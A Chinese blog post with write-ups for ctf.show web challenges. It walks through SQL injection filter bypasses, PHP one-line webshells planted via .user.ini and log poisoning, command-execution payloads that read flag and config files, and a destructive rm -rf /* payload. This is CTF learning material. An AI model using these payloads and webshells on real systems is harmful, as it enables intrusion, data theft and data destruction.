【ctf.show-web赛题】

已于 2023-09-21 15:10:37 修改
阅读量2.1k 收藏 6
点赞数 2
分类专栏： 学习笔记 文章标签： php apache 安全 网络安全 web安全
于 2023-03-21 18:23:38 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61872115/article/details/129690257
版权

文章目录

一、ctf.show_web10

来到页面是一个登录框
在这里插入图片描述

点击取消按钮，出现源码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

过滤了很多注入语句
这里主要用group by和with rollup相结合
group by不说了就是一个排列，默认升序
with rollup （group by 后可以跟with rollup，表示在进行分组统计的基础上再次进行汇总统计）
结果中将会多出一行，其中password列为null，count（*）为统计和。
例如：

select password,count(*) from test group by password with rollup;

所以我们构造payload：

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

因为加入with rollup后 password有一行为NULL，我们只要输入空密码使得（NULL==NULL），/**/用来绕过空格过滤

在这里插入图片描述

即可获得flag
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}

二、ctf.show_web11

来到首页
在这里插入图片描述

可以看到php代码有很多限制
注意到获取flag的方式 $password==$_SESSION['password']，password是由我们自己输入的，session中的password存储在本地，所以我们只需要输入空密码，并且将本地的session删除即可成功绕过。

在这里插入图片描述

得到flag:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}

三、ctf.show_web12

来到首页
在这里插入图片描述

先查看一下源码
在这里插入图片描述

有提示cmd变量，说明很可能后台具有代码执行的函数
输入phpinfo();查看php配置信息
在这里插入图片描述

发现禁用了很多命令执行的方法
还可利用highlight_file(“index.php”);查看源代码
在这里插入图片描述
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:

glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件

有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob(“*”));打印出了如下文件
在这里插入图片描述
再读取文件

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

在这里插入图片描述

获取flag：
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}

四、ctf.show_web13

来到页面
在这里插入图片描述
尝试文件上传后没有效果，查找隐藏目录
在这里插入图片描述

发现upload.php,尝试upload.php.bak获取源码文件

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功！";
	}else{
		echo "文件上传失败！";
	}

 ?>

获取到源码，发现限制条件文件的大小<=24，名字长度<=9，后缀长度<=3,并且名字和后缀不能有php
于是可以构造这样的木马

<?php eval($_POST['a']);

由于后缀原因先上传2.txt
在这里插入图片描述
再上传.user.ini文件。
对于php中的.user.ini有如下解释：
PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻，也就是在.user.ini中如果设置了文件名，那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =2.txt，这样在该目录下的所有文件都会包含2.txt的内容
//
蚁剑连接上之后我们发现没有对文件操作的权限，所以我们直接在网页上查找flag。
利用POST提交

a=print_r(glob("*"));

再利用highlight_file()获得flag

a=highlight_file("文件名");

五、ctf.show_web14

来到页面
在这里插入图片描述首先看到case语句，下面主要是输出三个东西‘$url’,'@A@'和$url.
我们想要看到的是$url,因为这是一个变量，输出才有内容，另外两个用单引号包含失去了特殊意义。
观察到下面的语句，当c=3时，将会输入变量，因为break在最下面，会执行完语句后再跳出
在这里插入图片描述
当c=3时我们看到一个php文件，访问后来到一个提交框，第一时间想到sql注入。
先看页面源代码

<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}
-->

发现过滤了常用的表，空格，那么我们应该想到使用其他的数据库和表去绕过
在这里插入图片描述这里我用的是这两个表，information_schema.PARTITIONS和information_schema.KEY_COLUMN_USAGE
可以看到和information_schema.tables//columns差不多，可以替换使用
首先判断出页面是数字型注入，只有一列数据。

1/**/order/**/by/**/1

在这里插入图片描述
爆数据库名

-1/**/union/**/select/**/database()%23

在这里插入图片描述
爆表名

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.PARTITIONS/**/where/**/table_schema='web'%23

在这里插入图片描述
爆字段名

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.KEY_COLUMN_USAGE/**/where/**/table_schema='web'/**/and/**/table_name='content'%23

在这里插入图片描述
但是只有id,应该是这个表的问题，我看别人用反引号绕过，使用cloumns表可以看到id,username,password三个字段
但是当我们查看字段数据时，告诉我们flag不在这儿，提示去看secret.php文件
我们利用load_file();去查看文件

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')%23

在这里插入图片描述得到如下内容

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值，所以我们直接将/real_flag_is_here读取即可得到flag。

-1/**/union/**/select/**/load_file('/real_flag_is_here')%23

六、菜狗杯

1.web签到

来到页面
在这里插入图片描述

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

一直尝试了很久，这真的是签到题型吗？看了大佬的wp，总结一下
考察的是：请求方式和赋值的关系，还有Cookie字段的中文编码问题。

主要就是最后这个一句话木马的利用，嵌套的有点多，来理一下：
首先最里面是‘CTFshow-QQ群:’，前面是$_COOKIE，也就是取的是cookie中‘CTFshow-QQ群’的值；
那如果我们在cookie中传入 CTFshow-QQ群:=a ，那么一句话木马就变成了：

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

那么$_POST[a]就是要以POST方式传入的a参数的值，我们将传入a=b，那么就变为了：

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b]也就是要以GET方式来传入b参数的值，我们再给b赋值b=c，就得到：

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4]，其中$_REQUEST是以任何一种方式请求都可以，c为数组，$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。因为PHP数组是可以指定ID键分配值的.
那么我们就可以给C数组中的这些键直接赋值：
c[6][0][7][5][8][0][9][4][4]= system('ls /');

于是我们用POST形式发包，同时注意“群”要用url编码为%E7%BE%A4，否则burp不识别（给c赋值时可以放在请求头也可以放在请求实体中，因为request请求方式无论是用get还是post形式都可以接受）

这里我便捷使用hackbar
在这里插入图片描述
由此我们便得到了flagaaa文件，输入命令cat /f1agaaa得到flag
在这里插入图片描述
收获很多

2.web2 c0me_t0_s1gn

来到页面
在这里插入图片描述
提示有信息需要去找，尝试使用御剑和dirsearch找目录没有发现，后面看到页面源代码
在这里插入图片描述
看到了flag的部分信息，又跟具体提示到控制台
在这里插入图片描述
提示运行方法找flag，运行后
在这里插入图片描述
发现flag后半段信息，拼接即可。

3.我的眼里只有$

来到页面
在这里插入图片描述

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

可以看到采用post方法传入参数，这里考察的就是变量的嵌套，一串的$变量，最初的变量应该是_,所以我们需要依次定义变量，在做后赋值为命令执行语句system('ls /');并且变量不能重复

不太会写脚本，参考大佬的

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

在这里插入图片描述
修改命令，可得到flag

在这里插入图片描述

七、萌新杯

1、web1

来到页面
在这里插入图片描述

可以看到源代码，提示flag在id=1000，但是大于999就会报错
这里我想用什么方法绕过1000，但是忘记了，采用了最原始的union select 联合注入，因为这里没有设置过滤，就比较简单
最终

?id=-1 union select 1,group_concat(id,title,content),3 from web1.article --+

在这里插入图片描述
得到flag
后面也去学习简便方法,发现使用了intval()函数去判断
1、intval() 函数可以获取变量的「整数值」。常用于强制类型转换
绕过思路：当某个数字被过滤时，可以使用它的 2进制/8进制/16进制来绕过。
在这里插入图片描述

2、intval() 转换数组类型时，不关心数组中的内容，只判断数组中有没有元素。
绕过思路：对于弱比较（a==b），可以给a、b两个参数传入空数组，使弱比较为true。
3、intval() 转换小数类型时，只返回个位数，不遵循四舍五入的原则。
绕过思路：当某个数字被过滤时，可以给它增加小数位来绕过。
4、intval() 转换字符串类型时，会判断字符串是否以数字开头
如果以数字开头，就返回1个或多个连续的数字
如果以字母开头，就返回0
5、intval() 函数支持一些特殊符号的，比如~取反。
绕过思路：当某个数字被过滤时，可以两次取反来绕过。
在这里插入图片描述

6、intval() 函数支持算数运算符，如果传入的 $var参数包含算数运算符，会先运算，再对运算结果进行转换。
绕过思路：当某个数字被过滤时，可以使用算数运算符绕过。
在这里插入图片描述

2、web2

来到页面，发现和上一题差不多，但是这次使用的是
preg_match函数过滤了or,没啥用，可以通过正常注入得到flag

?id=-1 union select 1,group_concat(id,title,content),3 from web2.article --+

在这里插入图片描述
也可以绕过函数，使用或运算

?id=-1 || id=1000

取反

?id=~~1000

运算符

?id=10*100

等多种方式

3、web3

同样的过滤了一些字符，可以采用上面的运算符，取反等方式绕过

4、web4

这次新增了过滤select语句，可以通过取反绕过

5、web5

可通过进制变换和取反绕过

6、web6

可通过取反绕过

7、web7

这次把~也过滤了，但是还可以使用二进制绕过
在这里插入图片描述

8、web8

终于换了个题目了，来到页面
在这里插入图片描述
这里其实思路很简单，但是要我们提交的flag值要等于key的值，但是key得值怎么获得呢？想了很久还是不清楚，去找了其他师傅的解题，蛙趣，逆天。

在这里插入图片描述
跑到埃塞俄比亚居然是删库跑路的意思。

?flag=rm -rf /*

9、web9

来到页面
在这里插入图片描述
开始我还以为是过滤了system，exec这些命令执行的函数呢，结果是要含有，这就比较简单了,提示flag在config.php文件当中。

?c=system('tac config.php');

在这里插入图片描述

10、web10

和第九题类似，但是是限制有system和exec这样的命令执行函数。
可以使用show_source()函数

?c=show_source('config.php');

11、web11

新增了限制cat，那么仍然可以用第10题的解法，而且还有很多其他解法
在这里插入图片描述

12、web12

与11题类似，又过滤了几个，那么可采用通配符的方式去绕过

?c=passthru('tac con*');
?c=passthru('tac `ls`');

13、web13

这次连；也过滤了，刚开始没有想到解决办法，后面发现可以用?>表示PHP代码结束替换

?c=passthru('tac conf*')?>

14、web14

这次对$c做了比较严格的过滤，括号也过滤了，但是基于php的特性，我们可以采用php伪协议绕过

?c= include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

在这里插入图片描述

15、web15

和上一题类似，虽然增加了几个过滤，但是把之前的；放出来了，可将上面的payload修改一下即可

?c=include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

同时可以考虑post方式去提交参数

?c=echo `$_POST[a]`;   
源代码hacker post传递：a=cat config.php

16、web16

来到页面
在这里插入图片描述
很简单，就是要MD5数值相等，利用MD5解码得到

ctfshow36d

所以payload为

?c=36d

17、web17

来到页面
在这里插入图片描述
根据提示采用的是文件包含，这里使用的是包含日志文件，在user-agent中写入一句话木马进行连接
在这里插入图片描述
通过抓包可以看到目标服务器是ubuntu系统
默认日志文件在/var/log/nginx/access.log 或者 /var/log/nginx/error.log
在这里插入图片描述
可以看到，包含成功，日志显示的是user-agent字段信息和url,那么我们可以在字段中写入一句话木马，进行尝试连接

 <?php @eval($_POST[123]); ?>

在主目录下的36d.php文件中
在这里插入图片描述

18、web18

新增了file过滤，但是依旧可以使用上一题的方法，包含日志文件解题

19、web19

和之前一样，日志包含，出题者是没考虑到日志包含吗，几道题都重复了。

20、web20

怎么还是日志包含？

21、web21

一样的日志包含

22、web22

来到页面
在这里插入图片描述这直接把路径跳转符给过滤掉了，确实难搞，没啥头绪
参考大佬解法
https://www.cnblogs.com/Egcrying/p/17665041.html

在这里插入图片描述

23、web23

来到页面是个文件上传解题
在这里插入图片描述写一个一句话木马，上传
在这里插入图片描述
上传成功，但是访问不了，应该是考的条件竞争。
参考大佬解题脚本
https://wp.ctf.show/d/131-23-24

24、web24

同上web23

25、获得百分之百的快乐

来到页面
在这里插入图片描述输入要小于四个字符，可以ls看一下
解题思路：

?1=>nl

创建一个名为nl的空文件
nl（number line）命令用于计算文件的行号并将带有行号的内容输出到标准输出。
例如，这里有一个1.txt文件，内容是：

abc
abc

abc

使用nl命令显示

nl 1.txt
1	abc
2	abc

3	abc

?1=*

表示以第一个文件名为命令去执行，其他文件作为参数，这样就可以查看到文件里的内容了
在这里插入图片描述

八、easy_eval

来到页面
在这里插入图片描述
可以看到要我们POST提交code参数，会通过eval函数当做php代码执行，但是过滤了？。
这里我尝试了编码，多写等方式，发现不行，只能找不需要？标签也能执行的php语句写法。

<script language='php'>system('ls');</script>
<script language='php'>system('ls ../../');</script>
<script language='php'>system('ls ../../../');</script>
<script language='php'>system('cat ../../../f1agaaa');</script>

通过这样的方式成功执行代码并找到flag
同时也查资料学习了下这方面的知识点PHP标签的几种写法

1、<?php     ?>  // 常规写法
2、<?    ?>
注：
利用短标签写法可以绕过一些对php字符的过滤
Windows环境中短标签默认是打开的，Linux下 默认是关闭的。
控制参数： php支持短标签，需要我们把short_open_tag 设置为On.
3、<%          %>
注：需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。
4、<script language="php">     </script>

在这里插入图片描述

总结

后续会一直分享ctfshow做题笔记

一纸-荒芜
关注
  • 2
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
ctf题库ctf-pwn赛题收集
03-31
ctf题库 CTF(夺旗赛)题库是一个由安全专家和爱好者们制作的一系列网络安全挑战。这些挑战旨在测试各种安全技能，包括密码学、逆向工程、漏洞利用和网络分析等。 CTF题库通常由多个类别的挑战组成，例如Web安全、二...
ctf.show web web1-web10
qq_61993117的博客
09-17 1808
记录一些web的知识点，本人刚开始学习web很多资料都是借鉴大佬的，许多复现的过程都是大同小异的，写的菜了请大佬们下手轻点。
【CTF Web】CTFShow web10 Writeup（RCE+PHP+代码审计）
最新发布
HEX9CF的技术博客
05-27 379
1阿呆看见对面二黑急冲冲的跑过来，告诉阿呆出大事了，阿呆问什么事，二黑说：这几天天旱，你菜死了！
ctfshow-WEB-web10( with rollup注入绕过)
热门推荐
wangyuxiang946的博客
09-05 1万+
ctf.show WEB模块第10关是一个SQL注入漏洞, 点击取消按钮可以获取源码, 审计代码可以发现源码中存在漏洞, 推荐使用with rollup注入进行绕过, 此关卡过滤了空格,and等关键字 1. 过滤空格, 可以使用括号()或者注释/**/绕过 2. 过滤and, 可以使用or来代替 进来以后是一个登录界面, 盲猜是SQL注入漏洞 点击取消按钮可以获取这一关的源码, 下载到本地即可 源码中先根据用户名查询用户信息, 用户名通过以后, 再判断密码是否相同, 我...
ctfshow-web入门-web01-10
Wkc_03的博客
11-17 609
webshow-web入门-web01-10
ctfshow之web（9、10、11、12）
沃和莱特的博客
03-12 5143
萌新萌新，不忘初心。
CTF资料.rar-------
02-16
ctf入门
CTF-AWD-WEB:AWD 模式下的WEB试题仓库
05-17
在"CTF-AWD-WEB"中，重点在于Web安全领域，涵盖了各种Web应用漏洞和防护技巧。 本资源"CTF-AWD-WEB"是一个包含了多个AWD模式下Web试题的仓库，这些试题可能来源于不同的CTF线下赛事。通过这些试题，学习者可以深入...
ctf-all-in-one
01-30
ctf-all-in-one
ctf-web网络安全课程视频.zip
10-19
网盘文件永久链接 1 - 代码执行与命令执行安全漏洞与防御... 2 - 文件上传安全漏洞与防御... 3 - XXE安全漏洞与防御... 4 - SSRF安全漏洞与防御... 5 - PHP反序列化安全漏洞与防御... 6 - Python 安全开发基础...
ctfshow-web10 with rollup 绕过
HAI_WD的博客
08-21 221
WITH ROLLUP是一种在SQL查询结果中使用的特殊子句，它可用于生成分组列的总计行。使用WITH ROLLUP，可以在查询结果中添加一个额外的行，显示分组结果的总计值。也就是说如果通过with rollup分组后为空，那我们的输入也为空，那么此时就可以进行绕过了。看到这个源码，可以看到只能是通过满足下面的条件来拿到flag，并且很多关键字都被拦截了。这里需要介绍一下WITH ROLLUP。这里还是使用/**/进行绕过空格。
CTFshow-web-web10
qq_68581192的博客
10-13 113
因为加入with rollup后 password有一行为NULL，我们只要输入空密码使得（NULL==NULL）即可满足。源码中先根据用户查询用户信息, 用户名通过以后, 再判断密码是否相同, 我们绕过用户名的过滤条件, 再使用 with rollup注入绕过密码。2.with rollup：group by 后可以跟with rollup，表示在进行分组统计的基础上再次进行汇总统计。点击取消键，意外发现触发一个下载任务index.phps文件，打开文件查看，显示如下。这样就能登录成功了。
2024年最新ctfshow-WEB-web10( with rollup注入绕过)_ctf(2)
2401_84267585的博客
05-03 627
ctf.show WEB模块第10关是一个SQL注入漏洞, 点击取消按钮可以获取源码, 审计代码可以发现源码中存在漏洞, 推荐使用with rollup注入进行绕过, 此关卡过滤了空格,and等关键字进来以后是一个登录界面, 盲猜是SQL注入漏洞点击取消按钮可以获取这一关的源码, 下载到本地即可源码中先根据用户名查询用户信息, 用户名通过以后, 再判断密码是否相同, 我们绕过用户名的过滤条件, 在使用 with rollup注入绕过密码。
CTFSHOW web入门——web10
m0_74093152的博客
02-05 238
CTFSHOWweb入门——web10
CTF show WEB10
Hello_super的博客
09-04 662
题目地址：https://ctf.show 打开页面点击取消按钮，出现源码。$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; 从源码中可以得知几乎把注入用到的关键词过滤的差不多了。 如果只有这一条现在可以采用双写绕过，但是下面这条限制，使得无法双写绕过 if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error");
CTFSHOW系列-web10(信息收集-cookie泄露)
siu~
11-26 650
CTFSHOW系列解题思路
ctf.show_web10
m0_56107268的博客
05-13 349
<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('C.
WEB-CTFShow-菜狗杯-我的眼里只有$
qq_31415417的博客
01-02 1071
CTFShow-菜狗杯-我的眼里只有$
ctfweb基础知识框架
05-11
CTFWeb 是什么？ CTFWeb 指的是 Capture The Flag（獲得旗幟）的網絡安全比賽。它通常是一种在线竞赛，旨在检测和提高参赛者的网络安全技能。 在 CTFWeb 比赛中，选手需要完成一系列的安全挑战，例如破解密码、漏洞利用、逆向工程、加密解密等。每完成一个挑战，就可以获得一个 "flag"（旗帜），这个 flag 就相当于证明你完成了这个挑战。比赛的最终目标是收集尽可能多的 flag，以获得比赛的冠军。 CTFWeb 对于网络安全从业者和学生来说是一个很好的实践和提高的机会，因为它可以帮助他们提高安全技能、练习手段、了解最新的安全技术和漏洞。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值